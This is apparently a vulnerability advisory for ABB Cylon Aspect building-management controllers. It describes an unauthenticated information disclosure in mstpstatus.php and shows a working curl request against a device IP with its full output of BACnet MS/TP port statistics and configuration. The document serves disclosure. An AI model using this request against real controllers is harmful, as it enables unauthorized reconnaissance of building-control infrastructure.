ABB Cylon Aspect 3.08.01 mstpstatus.php Information Disclosure

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ABB Cylon Aspect 3.08.01 (mstpstatus.php) Information Disclosure  
  
  
Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
Firmware: <=3.08.01  
  
Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.  
  
Desc: The ABB BMS/BAS controller suffers from an unauthenticated information  
disclosure vulnerability. An unauthorized attacker can reference the affected  
page and disclose various BACnet MS/TP statistics running on the device.  
  
Tested on: GNU/Linux 3.15.10 (armv7l)  
GNU/Linux 3.10.0 (x86_64)  
GNU/Linux 2.6.32 (x86_64)  
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
PHP/7.3.11  
PHP/5.6.30  
PHP/5.4.16  
PHP/4.4.8  
PHP/5.3.3  
AspectFT Automation Application Server  
lighttpd/1.4.32  
lighttpd/1.4.18  
Apache/2.2.15 (CentOS)  
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5865  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5865.php  
  
  
21.04.2024  
  
--  
  
  
$ cat project  
  
P R O J E C T  
  
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____| '-' ' "" '-' '-.' '` |____  
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░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░   
  
  
$ curl http://192.168.73.31/mstpstatus.php  
Thu Nov 28 10:13:51 UTC 2024<br><div id='Port 0Stat' class='portStats'><div id='Port 0Load'>Port 0 Load: 123 Average time (ms) to wait for token return  
47 Average time (ms) to wait for for a reply  
20 Max info frames  
1063 Estimated time for max_nfo_frmaes tx plus token cycle (ms)  
18 Estimated max rate (trasactions per sec)  
38 congestion threashold  
%</div><div id='Port 0BPSTotal'>Port 0 BPS (Total): </div><div id='Port 0BPSOurs'>Port 0 BPS (Mine): </div></div><div id='Port 1Stat' class='portStats'><div id='Port 1Load'>Port 1 Load: 34 Average time (ms) to wait for token return  
40 Average time (ms) to wait for for a reply  
20 Max info frames  
834 Estimated time for max_nfo_frmaes tx plus token cycle (ms)  
23 Estimated max rate (trasactions per sec)  
48 congestion threashold  
%</div><div id='Port 1BPSTotal'>Port 1 BPS (Total): </div><div id='Port 1BPSOurs'>Port 1 BPS (Mine): </div></div><br />  
$Id: mstp.ko R_03_05_01 Thu Sep 23 09:30:32 EDT 2021 $ <br />  
Proto: 0<br />  
<br />  
Port 0 Statistics =======================<br />  
Baud Rate: 38400<br />  
RX Characters: 60521<br />  
RX echoes: 0<br />  
RX Errors: 31<br />  
TX Characters: 49671<br />  
Echo detect fails: 0<br />  
<br />  
Port 0 MSTP State =======================<br />  
ValidRXFrameCnt: 42320<br />  
InvdRXFrameCnt: 61<br />  
rxDataFrames: 16558<br />  
rxToken: 29242<br />  
TXFrameCnt: 2072<br />  
TXQueCnt: 1<br />  
CongestionCnt: 0<br />  
Poll_Station: 0<br />  
SoleMaster: FALSE<br />  
<br />  
Port 0 config =======================<br />  
Nmax_master: 127<br />  
Nmax_info_frames: 20<br />  
This_Station: 0<br />  
Tno_token: 500<br />  
Tusage timeout 30<br />  
congestion (auto): 38<br />  
Npoll: 50<br />  
<br />  
<br />  
Port 1 Statistics =======================<br />  
Baud Rate: 38400<br />  
RX Characters: 0<br />  
RX echoes: 0<br />  
RX Errors: 0<br />  
TX Characters: 33632<br />  
Echo detect fails: 0<br />  
<br />  
Port 1 MSTP State =======================<br />  
ValidRXFrameCnt: 0<br />  
InvdRXFrameCnt: 0<br />  
rxDataFrames: 0<br />  
rxToken: 0<br />  
TXFrameCnt: 2<br />  
TXQueCnt: 0<br />  
CongestionCnt: 0<br />  
Poll_Station: 29<br />  
SoleMaster: TRUE<br />  
<br />  
Port 1 config =======================<br />  
Nmax_master: 127<br />  
Nmax_info_frames: 20<br />  
This_Station: 0<br />  
Tno_token: 500<br />  
Tusage timeout 30<br />  
congestion (auto): 48<br />  
Npoll: 50<br />  
<br />  
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